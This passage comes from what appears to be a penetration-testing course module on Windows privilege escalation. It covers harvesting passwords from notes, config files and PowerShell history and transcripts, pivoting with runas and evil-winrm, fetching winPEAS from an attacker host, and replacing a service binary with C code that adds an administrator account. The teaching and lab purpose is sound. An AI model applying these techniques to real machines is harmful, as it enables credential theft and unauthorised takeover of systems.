Steve (the guy with long shirt) gives us his password for testing
password is: securityIsNotAnOption++++++
Listing 21 - Contents of asdf.txt
Note that we used cat instead of type to display the contents of a file in the previous listing. In fact, both commands are aliases for the Get-Content4 Cmdlet in PowerShell and therefore we can use them interchangeably.
Listing 21 shows that the file was used for meeting notes. The note states that the web application uses local users' credentials and that for testing "Steve's" password securityIsNotAnOption++++++ can be used.
Very nice!
The information gathered in the situational awareness process comes in handy now, since we already know that a user named steve exists on the target system.
Before we attempt to leverage the password, let's check what groups steve is a member of. This time, we use the command net user with the username steve to obtain this information.
PS C:\Users\dave> net user steve
net user steve
User name steve
...
Last logon 6/16/2022 1:03:52 PM
Logon hours allowed All
Local Group Memberships *helpdesk *Remote Desktop Users
*Remote Management Use*Users
...
Listing 22 - Local groups user steve is a member of
While the output of Listing 22 shows that steve is not a member of the group Administrators, the user is a member of the group Remote Desktop Users.
Let's connect to CLIENTWK220 with RDP as steve and open PowerShell.
Due to access as new user, and therefore different permissions on files on the system, the process of searching for sensitive information begins again.
This is a great opportunity to zoom out here for a moment. With access to a new user, the process of searching for sensitive information starts again. This is not only true for this specific case, but also for nearly all areas of a penetration test. The cyclical nature of a penetration test is an important concept for us to grasp, because it provides a mindset of continuously reevaluating and including new information and access in order to follow previously inapproachable or newly identified attack vectors.
In our search as dave we received a permission error on C:\xampp\mysql\bin\my.ini. Let's begin by checking if we have access to it as steve.
PS C:\Users\steve> type C:\xampp\mysql\bin\my.ini
# Example MySQL config file for small systems.
...
# The following options will be passed to all MySQL clients
# backupadmin Windows password for backup job
[client]
password = admin123admin123!
port=3306
socket="C:/xampp/mysql/mysql.sock"
Listing 23 - Contents of the my.ini file
Listing 23 shows that we could access my.ini and display its contents. The file contains the manually set password admin123admin123!. Additionally, a comment states that this is also the Windows password for backupadmin.
Let's review the groups that backupadmin is a member of to find out if we can use services such as RDP or WinRM to connect to the system as this user.
PS C:\Users\steve> net user backupadmin
User name BackupAdmin
...
Local Group Memberships *Administrators *BackupUsers
*Users
Global Group memberships *None
The command completed successfully.
Listing 24 - Local groups backupadmin is a member of
Unfortunately, backupadmin is not a member of the groups Remote Desktop Users or Remote Management Users. This means we need to find another way to access the system or execute commands as backupadmin.
Since we have access to a GUI we can use Runas,5 which allows us to run a program as a different user. Runas can be used with local or domain accounts as long as the user has the ability to log on to the system.
Without access to a GUI we cannot use Runas since the password prompt doesn't accept our input in commonly used shells, such as our bind shell or WinRM.
However, we can use a few other methods to access the system as another user when certain requirements are met. We can use WinRM or RDP to access the system if the user is a member of the corresponding groups. Alternatively, if the target user has the Log on as a batch job6 access right, we can schedule a task to execute a program of our choice as this user. Furthermore, if the target user has an active session, we can use PsExec from Sysinternals.
Since we have access to a GUI, let's use Runas in PowerShell to start cmd as user backupadmin. We'll enter the username as argument for /user: and the command we want to execute. Once we execute the command, a password prompt appears in which we'll enter the previously found password.
PS C:\Users\steve> runas /user:backupadmin cmd
Enter the password for backupadmin:
Attempting to start cmd as user "CLIENTWK220\backupadmin" ...
PS C:\Users\steve>
Listing 25 - Using Runas to execute cmd as user backupadmin
Once the password is entered, a new command line window appears. The title of the new window states running as CLIENTWK220\backupadmin.
Let's use whoami to confirm the command line is working and we are indeed backupadmin.
Figure 3 shows that we are executing commands as user backupadmin. Very nice!
In this section, we searched for and leveraged sensitive information on CLIENTWK220 to successfully obtain access from dave to steve and then from steve to the privileged user backupadmin. We did all of this without using any exploits. As we learned in the Module "Password Attacks", when we find passwords in configuration or text files, we should always try them for all possible users or services as passwords are often reused.
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem ↩︎
(Apache Friends, 2022), https://www.apachefriends.org/docs/ ↩︎
(XAMPP, 2022), https://www.apachefriends.org/faq_windows.html ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content?view=powershell-7.2 ↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Runas ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/log-on-as-a-batch-job ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Connect to the bind shell (port 4444) on CLIENTWK220 (VM #1) and follow the steps from this section. Find the flag on the desktop of backupadmin.
- Log into the system CLIENTWK220 (VM #1) via RDP as user steve. Search the file system to find login credentials for a web page for the user steve and enter the password as answer to this exercise.
- Connect to CLIENTWK221 (VM #2) via RDP as user mac with the password IAmTheGOATSysAdmin! and locate sensitive information on the system to elevate your privileges. Once found, use the credentials to access the system as this user and find the flag on the Desktop.
16.1.4. Information Goldmine PowerShell
In the previous section, we discussed how we can use sensitive information found in plain-text files to elevate our privileges. Over the last decade, IT security awareness for the average enterprise user has tremendously improved through training, IT policies, and the prevalent threat of cyber attacks painted by media. Fortunately, this has led to less sensitive information being stored in notes or text files.
Because of the growing threat of cyber attacks, more defensive measures were developed and implemented for clients and servers alike. One of these measures is to collect and record more data on systems about executed commands and operations, which allows the IT staff to review and respond accordingly to threats. One important source of this information is PowerShell, since it is a vital resource for attackers.
With default settings, Windows only logs a small amount of information on PowerShell usage, which is not sufficient for enterprise environments. Therefore, we'll often find PowerShell logging mechanisms enabled on Windows clients and servers. Two important logging mechanisms for PowerShell are PowerShell Transcription1 and PowerShell Script Block Logging.2
Transcription is often referred to as "over-the-shoulder-transcription", because, when enabled, the logged information is equal to what a person would obtain from looking over the shoulder of a user entering commands in PowerShell. The information is stored in transcript files, which are often saved in the home directories of users, a central directory for all users of a machine, or a network share collecting the files from all configured machines.
Script Block Logging records commands and blocks of script code as events while executing. This results in a much broader logging of information because it records the full content of code and commands as they are executed. This means such an event also contains the original representation of encoded code or commands.
Both mechanisms are quite powerful and have become increasingly common in enterprise environments. However, while they are great from the defensive perspective, they often contain valuable information for attackers.
In this example, we'll demonstrate how we can retrieve information recorded by PowerShell with the help of enabled logging mechanisms and the PowerShell history. We'll again connect on port 4444 to the bind shell running as the user dave and launch PowerShell.
For the purpose of this demonstration, we'll assume that the files containing sensitive information from the previous section don't exist.
Before we check if Script Block Logging or PowerShell Transcription is enabled, we should always check the PowerShell history of a user. We can use the Get-History3 Cmdlet to obtain a list of commands executed in the past.
PS C:\Users\dave> Get-History
Get-History
Listing 26 - Empty result from Get-History
The output indicates that no PowerShell commands were issued so far.
At this point, we have to explore how PowerShell's history works. Most Administrators use the Clear-History4 command to clear the PowerShell history. But this Cmdlet is only clearing PowerShell's own history, which can be retrieved with Get-History. Starting with PowerShell v5, v5.1, and v7, a module named PSReadline5 is included, which is used for line-editing and command history functionality.
Interestingly, Clear-History does not clear the command history recorded by PSReadline. Therefore, we can check if the user in our example misunderstood the Clear-History Cmdlet to clear all traces of previous commands.
To retrieve the history from PSReadline, we can use Get-PSReadlineOption to obtain information from the PSReadline module. We put it in parentheses and add HistorySavePath prepended with a dot. This syntax allows us to get only one option from all available options of the module.
PS C:\Users\dave> (Get-PSReadlineOption).HistorySavePath
(Get-PSReadlineOption).HistorySavePath
C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Listing 27 - Display path of the history file from PSReadline
Listing 27 shows us the path of the history file from PSReadline. Let's display the contents of the file.
PS C:\Users\dave> type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
...
$PSVersionTable
Register-SecretVault -Name pwmanager -ModuleName SecretManagement.keepass -VaultParameters $VaultParams
Set-Secret -Name "Server02 Admin PW" -Secret "paperEarMonitor33@" -Vault pwmanager
cd C:\
ls
cd C:\xampp
ls
type passwords.txt
Clear-History
Start-Transcript -Path "C:\Users\Public\Transcripts\transcript01.txt"
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
exit
Stop-Transcript
Listing 28 - Empty result from Get-History
The output contains various highly interesting commands for us.
First, dave executed Register-SecretVault with the module SecretManagement.keepass, which implies that the user created a new password manager database for KeePass. In the next line, dave used Set-Secret to create a secret, or entry, in the password manager with the name Server02 Admin PW and password paperEarMonitor33@. As the name suggests, these are probably credentials for another system. However, we should attempt to leverage this password for any user, service, or login on CLIENTWK220 as it may be reused by the user. For now, we'll note the password for later and continue analyzing the history.
Next, the output shows that dave used Clear-History believing that the history is cleared after executing the Cmdlet.
Finally, dave used Start-Transcript to start a PowerShell Transcription. This command contains the path where the transcript file is stored. Before we examine it, let's also analyze the next line.
The user executed Enter-PSSession6 with the hostname of the local machine as argument for -ComputerName and a PSCredential7 object named $cred containing the username and password for -Credential. The commands to create the PSCredential object are not included in the history file and therefore we don't know which user and password were used for Enter-PSSession.
PowerShell Remoting8 by default uses WinRM for Cmdlets such as Enter-PSSession. Therefore, a user needs to be in the local group Windows Management Users to be a valid user for these Cmdlets. However, instead of WinRM, SSH9 can also be used for PowerShell remoting.10
Let's analyze the transcript file in C:\Users\Public\Transcripts\transcript01.txt and check if we can shed more light on the user and password in use. Since the PowerShell Transcription started before Enter-PSSession was entered, it may contain the plain-text credential information used to create the PSCredential object stored in the variable $cred.
PS C:\Users\dave> type C:\Users\Public\Transcripts\transcript01.txt
type C:\Users\Public\Transcripts\transcript01.txt
**********************
Windows PowerShell transcript start
Start time: 20220623081143
Username: CLIENTWK220\dave
RunAs User: CLIENTWK220\dave
Configuration Name:
Machine: CLIENTWK220 (Microsoft Windows NT 10.0.22000.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 10336
PSVersion: 5.1.22000.282
...
**********************
Transcript started, output file is C:\Users\Public\Transcripts\transcript01.txt
PS C:\Users\dave> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
PS C:\Users\dave> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
PS C:\Users\dave> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
PS C:\Users\dave> Stop-Transcript
**********************
Windows PowerShell transcript end
End time: 20220623081221
**********************
Listing 29 - Contents of the transcript file
Listing 29 shows that the transcript file indeed contains the commands used to create the variable $cred, which were missing in the history file.
To create the previously discussed PSCredential object, a user first needs to create a SecureString11 to store the password. Then, the user can create the PSCredential object with the username and the stored password. The resulting variable, containing the object, can be used as argument for -Credential in commands such as Enter-PSSession.
Let's copy the three highlighted commands and paste it into our bind shell.
PS C:\Users\dave> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
PS C:\Users\dave> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
PS C:\Users\dave> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> whoami
whoami
clientwk220\daveadmin
Listing 30 - Using the commands from the transcript file to obtain a PowerShell session as daveadmin
The output shows that we could use these three commands to start a PowerShell remoting session via WinRM on CLIENTWK220 as the user daveadmin. While whoami works, other commands do not.
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> cd C:\
cd C:\
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> pwd
pwd
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> dir
dir
Listing 31 - No output from commands in the PSSession
Listing 31 shows that we received no output from the commands we entered. We should note that creating a PowerShell remoting session via WinRM in a bind shell like we used in this example can cause unexpected behavior.
To avoid any issues, let's use evil-winrm12 to connect to CLIENTWK220 via WinRM from our Kali machine instead. This tool provides various built-in functions for penetration testing such as pass the hash, in-memory loading, and file upload/download. However, we'll only use it to connect to the target system via WinRM to avoid the issues we faced by creating a PowerShell remoting session in our bind shell as shown in Listing 31.
We enter the IP as argument for -i, the username for -u, and the password for -p. We need to escape both "!"s in the password.
kali@kali:~$ evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\daveadmin\Documents> whoami
clientwk220\daveadmin
*Evil-WinRM* PS C:\Users\daveadmin\Documents> cd C:\
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/27/2024 3:22 AM FileZilla
d----- 5/6/2022 10:24 PM PerfLogs
d-r--- 8/27/2024 3:20 AM Program Files
d-r--- 5/7/2022 12:40 AM Program Files (x86)
d----- 7/4/2022 1:00 AM tools
d-r--- 8/21/2024 6:43 AM Users
d----- 8/21/2024 6:47 AM Windows
d----- 6/16/2022 1:17 PM xampp
Listing 32 - Using evil-winrm to connect to CLIENTWK220 as daveadmin
As Listing 32 shows, we can now execute commands without any issues. Great!
PowerShell artifacts such as the history file of PSReadline or transcript files are often a treasure trove of valuable information. We should never skip reviewing them, because most Administrators clear their history with Clear-History and therefore, the PSReadline history stays untouched for us to analyze.
Administrators can prevent PSReadline from recording commands by setting the -HistorySaveStyle option to SaveNothing with the Set-PSReadlineOption13 Cmdlet. Alternatively, they can clear the history file manually.
In this section, we explored PowerShell Transcriptions as powerful mechanisms to record commands and scripts in PowerShell. In addition, we discussed how and where PowerShell saves its history. We used this knowledge in an example to obtain a password for another system as well as the password for the administrative user daveadmin.
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-history?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/clear-history?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/psreadline/?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/powershell/scripting/learn/ps101/08-powershell-remoting?view=powershell-7.2 ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Secure_Shell ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/ssh-remoting-in-powershell-core?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/dotnet/api/system.security.securestring ↩︎
(Github, 2022), https://github.com/Hackplayers/evil-winrm ↩︎
(Microsoft Documentation, 2022), https://learn.microsoft.com/en-us/powershell/module/psreadline/set-psreadlineoption?view=powershell-7.2 ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps above and obtain an interactive shell as daveadmin on CLIENTWK220 (VM #1). Enter the flag, which can be found on the desktop.
- Connect to CLIENTWK220 (VM #1) as daveadmin via RDP. Use the Event Viewer to search for events recorded by Script Block Logging. Find the password in these events.
- Connect to CLIENTWK221 (VM #2) via RDP as user mac with the password IAmTheGOATSysAdmin!. Enumerate the machine and use the methods from this section to find the flag.
16.1.5. Automated Enumeration
In the previous three sections, we manually enumerated CLIENTWK220. We gathered information, which led us to two different ways to elevate our privileges. However, this took us quite some time to do. In a real-life penetration test for a client, we often have time constraints, limiting the time we can take to enumerate systems in a manual way.
Therefore, we should use automated tools that enumerate the target machine and provide us results about situational awareness as well as potential sensitive information in an easy to consume fashion. One such tool is winPEAS.1
Automated tools can be blocked by AV solutions. If this is the case, we can apply techniques learned in the Module "Antivirus Evasion", try other tools such as Seatbelt2 and JAWS,3 or do the enumeration manually.
Once we have installed the package peass4 on our Kali system, we can copy the 64-bit binary of winPEAS to our home directory and start a Python3 web server to serve it.
kali@kali:~$ cp /usr/share/peass/winpeas/winPEASx64.exe .
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Listing 33 - Copy WinPEAS to our home directory and start Python3 web server
Let's connect to the bind shell running on port 4444 at CLIENTWK220 as user dave as we did before. We start PowerShell and use the iwr5 Cmdlet with the URL of the winPEAS binary as argument for -Uri and winPeas.exe for -Outfile.
kali@kali:~$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.
C:\Users\dave> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\dave> iwr -uri http://192.168.48.3/winPEASx64.exe -Outfile winPEAS.exe
iwr -uri http://192.168.48.3/winPEASx64.exe -Outfile winPEAS.exe
Listing 34 - Connect to the bind shell and transfer the WinPEAS binary to CLIENTWK220
Now, let's run the winPEAS program. It'll take a few minutes for the program to finish. While it is running, let's review the output legend of winPEAS. It categorizes results in different colors indicating items worth a deeper inspection (red) and important information about protections (green).
C:\Users\dave> .\winPEAS.exe
...
+] Legend:
Red Indicates a special privilege over an object or something is misconfigured
Green Indicates that some protection is enabled or something is well configured
Cyan Indicates active users
Blue Indicates disabled users
LightYellow Indicates links
Listing 35 - Output legend of winPEAS
After the program is finished, let's review some of its findings. We begin with the basic system information.
...
���������� Basic System Information
� Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
OS Name: Microsoft Windows 11 Pro
OS Version: 10.0.22621 N/A Build 22621
System Type: x64-based PC
Hostname: clientwk220
ProductName: Windows 10 Pro
EditionID: Professional
ReleaseId: 2009
BuildBranch: ni_release
CurrentMajorVersionNumber: 10
CurrentVersion: 6.3
Architecture: AMD64
ProcessorCount: 2
SystemLang: en-US
KeyboardLang: English (United States)
TimeZone: (UTC-08:00) Pacific Time (US & Canada)
IsVirtualMachine: True
Current Time: 9/2/2024 11:03:33 PM
HighIntegrity: False
PartOfDomain: False
Hotfixes:
...
Listing 36 - Basic System Information of winPEAS
Listing 36 shows that winPEAS detected the target machine as Windows 10 Pro instead of Windows 11 as we established before. This shows that we should never blindly trust the output of a tool.
Next, winPEAS provides information about security protections as well as PowerShell and NTLM settings. One of these information sections is about transcript files.
...
���������� PS default transcripts history
� Read the PS history inside these files (if any)
...
Listing 37 - List of transcript files
The list of transcript files is empty, but we know that one exists in C:\Users\Public\. This is another example of information we would have missed by relying on tool output alone without incorporating manual work.
Next, let's scroll down to the Users output section of winPEAS.
���������� Users
...
Current user: dave
Current groups: Domain Users, Everyone, helpdesk, Builtin\Remote Desktop Users, Users, Batch, Console Logon, Authenticated Users, This Organization, Local account, Local, NTLM Authentication
CLIENTWK220\Administrator(Disabled): Built-in account for administering the computer/domain
|->Groups: Administrators
|->Password: CanChange-NotExpi-Req
CLIENTWK220\BackupAdmin
|->Groups: BackupUsers,Administrators,Users
|->Password: CanChange-NotExpi-Req
CLIENTWK220\dave: dave
|->Groups: helpdesk,Remote Desktop Users,Users
|->Password: CanChange-NotExpi-Req
CLIENTWK220\daveadmin
|->Groups: adminteam,Administrators,Remote Management Users,Users
|->Password: CanChange-NotExpi-Req
...
CLIENTWK220\steve
|->Groups: helpdesk,Remote Desktop Users,Remote Management Users,Users
|->Password: CanChange-NotExpi-Req
...
Listing 38 - User information
The output lists all users and their groups in an easy to read manner. This way of displaying the information makes it very easy for us to understand which users exist and are members of certain groups, such as Remote Desktop Users.
Scrolling down, we'll find information about processes, services, scheduled tasks, network information, and installed applications.
The next area we analyze is Looking for possible password files in users homes.
...
���������� Looking for possible password files in users homes
� https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
...
Listing 39 - Possible password files in home directory of dave
The list of files does not contain asdf.txt on the Desktop of dave. Again, we would have missed this finding without any additional manual work or by using another tool.
Running winPEAS on CLIENTWK220 provided us with lots of information and gave us some great situational awareness about the system. On the other hand, the tool incorrectly identified the target as Windows 10 and missed the meeting note, PowerShell history, and transcript file, which we used to elevate our privileges in the previous sections. However, because of the missing findings we should not abstain from using automated tools, but merely understand their limits.
Automated tools such as winPEAS are essential in real-life penetration tests. Outside of lab environments, the targets often contain numerous files, configuration settings, and information to go through. While we have only a few files in lab environments, we'll potentially get a list of hundreds or thousands of files to search through a single system in an assessment. With a pending deadline for the penetration test, we would spend all of our time going through files without employing automated tools.
In this section, we familiarized ourselves with winPEAS and how to use it. We collected information on the target system and compared it with our manual enumeration results. While there were some missing findings by winPEAS, the sheer amount of information resulting from its execution demonstrates how much time we can save in order to avoid manually obtaining all this information.
(Github, 2022), https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS ↩︎
(Github, 2022), https://github.com/GhostPack/Seatbelt ↩︎
(Github, 2020), https://github.com/411Hall/JAWS ↩︎
(Kali Tools, 2023), https://www.kali.org/tools/peass-ng/ ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2 ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps from this section and examine the output headlined Checking for DPAPI Credential Files. Enter one of the MasterKeys as answer.
- Download a precompiled version of Seatbelt or compile it yourself. To find a precompiled version of Seatbelt, you can enter the search term compiled seatbelt github download in a search engine. Transfer the binary to VM #1 and launch it with the option -group=all. Find a section named InstalledProducts and locate the entry for XAMPP. Enter the value of DisplayVersion as answer to this exercise.
16.2. Leveraging Windows Services
This Learning Unit covers the following Learning Objectives:
- Hijack service binaries
- Hijack service DLLs
- Abuse Unquoted service paths
A Windows Service1 is a long-running background executable or application managed by the Service Control Manager2 and is similar to the concept of daemons3 on Unix systems. Windows services can be managed by the Services snap-in, PowerShell, or the sc.exe command line tool. Windows uses the LocalSystem (includes the SIDs of NT AUTHORITY\SYSTEM and BUILTIN\Administrators in its token), Network Service, and Local Service user accounts to run its own services. Users or programs creating a service can choose either one of those accounts, a domain user, or a local user.
Windows services are one of the main areas to analyze when searching for privilege escalation vectors. In this Learning Unit, we'll review three different ways to elevate our privileges by abusing services.
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows/win32/services/service-control-manager ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Daemon_(computing) ↩︎
16.2.1. Service Binary Hijacking
Each Windows service has an associated binary file. These binary files are executed when the service is started or transitioned into a running state.
For this section, let's consider a scenario in which a software developer creates a program and installs an application as a Windows service. During the installation, the developer does not secure the permissions of the program, allowing full Read and Write access to all members of the Users group. As a result, a lower-privileged user could replace the program with a malicious one. To execute the replaced binary, the user can restart the service or, in case the service is configured to start automatically, reboot the machine. Once the service is restarted, the malicious binary will be executed with the privileges of the service, such as LocalSystem.
We begin by connecting to CLIENTWK220 as dave over RDP with the password lab. For the purpose of this example, let's assume the vectors to elevate our privileges from the previous Learning Unit are out of scope.
To get a list of all installed Windows services, we can choose various methods such as the GUI snap-in services.msc, the Get-Service Cmdlet, or the Get-CimInstance Cmdlet (superseding Get-WmiObject).
Once connected, we start PowerShell and choose Get-CimInstance to query the WMI class win32_service.1 We are interested in the name, state, and path of the binaries for each service and therefore, use Select with the arguments Name, State, and PathName. In addition, we filter out any services that are not in a Running state by using Where-Object.2
When using a network logon such as WinRM or a bind shell, Get-CimInstance and Get-Service will result in a "permission denied" error when querying for services with a non-administrative user. Using an interactive logon such as RDP solves this problem.
PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Name State PathName
---- ----- --------
Apache2.4 Running "C:\xampp\apache\bin\httpd.exe" -k runservice
Appinfo Running C:\Windows\system32\svchost.exe -k netsvcs -p
AppXSvc Running C:\Windows\system32\svchost.exe -k wsappx -p
AudioEndpointBuilder Running C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p
Audiosrv Running C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
BFE Running C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
BITS Running C:\Windows\System32\svchost.exe -k netsvcs -p
BrokerInfrastructure Running C:\Windows\system32\svchost.exe -k DcomLaunch -p
...
mysql Running C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
...
Listing 40 - List of services with binary path
Based on the output in Listing 40, the two XAMPP services Apache2.4 and mysql stand out as the binaries are located in the C:\xampp\ directory instead of C:\Windows\System32. This means the service is user-installed and the software developer is in charge of the directory structure as well as permissions of the software. These circumstances make it potentially prone to service binary hijacking.
Next, let's enumerate the permissions on both service binaries. We can choose between the traditional icacls Windows utility or the PowerShell Cmdlet Get-ACL.3 For this example, we'll use icacls since it usable both in PowerShell and the Windows command line.
The icacls utility outputs the corresponding principals and their permission mask.4 The most relevant permissions and their masks are listed below:
Mask | Permissions |
---|---|
F | Full access |
M | Modify access |
RX | Read and execute access |
R | Read-only access |
W | Write-only access |
Listing 41 - icacls permissions mask
Let's use icacls on the Apache binary httpd.exe first.
PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe"
C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F)
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Users:(RX)
NT AUTHORITY\Authenticated Users:(RX)
Successfully processed 1 files; Failed processing 0 files
Listing 42 - Permissions of httpd.exe
As member of the built-in Users group, dave only has Read and Execute (RX) rights on httpd.exe, meaning we cannot replace the file with a malicious binary.
Next, we'll check mysqld.exe from the mysql service.
PS C:\Users\dave> icacls "C:\xampp\mysql\bin\mysqld.exe"
C:\xampp\mysql\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(F)
Successfully processed 1 files; Failed processing 0 files
Listing 43 - Permissions of mysqld.exe
The output of Listing 43 shows that members of the Users group have the Full Access (F) permission, allowing us to write to and modify the binary and therefore, replace it. Due to the missing indicator (I) preceding this permission, we know that it was set on purpose and not inherited by the parent directory. Administrators often set Full Access permissions when they configure a service and are not entirely sure about the required permissions. Setting it to Full Access avoids most permission problems, but creates a security risk as we'll show in this example.
Let's create a small binary on Kali, which we'll use to replace the original mysqld.exe. The following C code will create a user named dave2 and add that user to the local Administrators group using the system5 function. The cross-compiled version of this code will serve as our malicious binary. Let's save it on Kali in a file named adduser.c.
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
Listing 44 - adduser.c code
Next, we'll cross-compile6 the code on our Kali machine with mingw-64 as we learned in the Module "Fixing Exploits". Since we know that the target machine is 64-bit, we'll cross-compile the C code to a 64-bit application with x86_64-w64-mingw32-gcc. In addition, we use adduser.exe as argument for -o to specify the name of the compiled executable.
kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Listing 45 - Cross-Compile the C Code to a 64-bit application
Once adduser.exe is cross-compiled, we can transfer it to our target and replace the original mysqld.exe binary with our malicious copy.
For this, we start a Python3 web server in the output directory of adduser.exe on our Kali machine and use iwr on the target machine in a PowerShell window to download our executable file. In addition, we move the original mysqld.exe to our home directory. This way, we can restore the service binary after a successful privilege escalation attempt.
PS C:\Users\dave> iwr -uri http://192.168.48.3/adduser.exe -Outfile adduser.exe
PS C:\Users\dave> move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
PS C:\Users\dave> move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe
Listing 46 - Replacing mysqld.exe with our malicious binary
In order to execute the binary through the service, we need to restart it. We can use the net stop command to stop the service.
PS C:\Users\dave> net stop mysql
System error 5 has occurred.
Access is denied.
Listing 47 - Attempting to stop the service in order to restart it
Unfortunately, dave doesn't have sufficient permissions to stop the service. This is expected as most services are only managed by administrative users.
Since we do not have permission to manually restart the service, we must consider another approach. If the service Startup Type is set to "Automatic", we may be able to restart the service by rebooting the machine.
Let's check the Startup Type of the mysql service with the help of the Get-CimInstance Cmdlet by selecting Name and StartMode as well as filter for the string "mysql" with Where-Object.
PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
Name StartMode
---- ---------
mysql Auto
Listing 48 - Obtain Startup Type for mysql service
Listing 48 shows that the service is set to Auto, meaning it will start automatically after a reboot. In order to issue a reboot, our user needs to have the privilege SeShutDownPrivilege7 assigned. We can use whoami with /priv to get a list of all privileges.
PS C:\Users\dave> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeSecurityPrivilege Manage auditing and security log Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
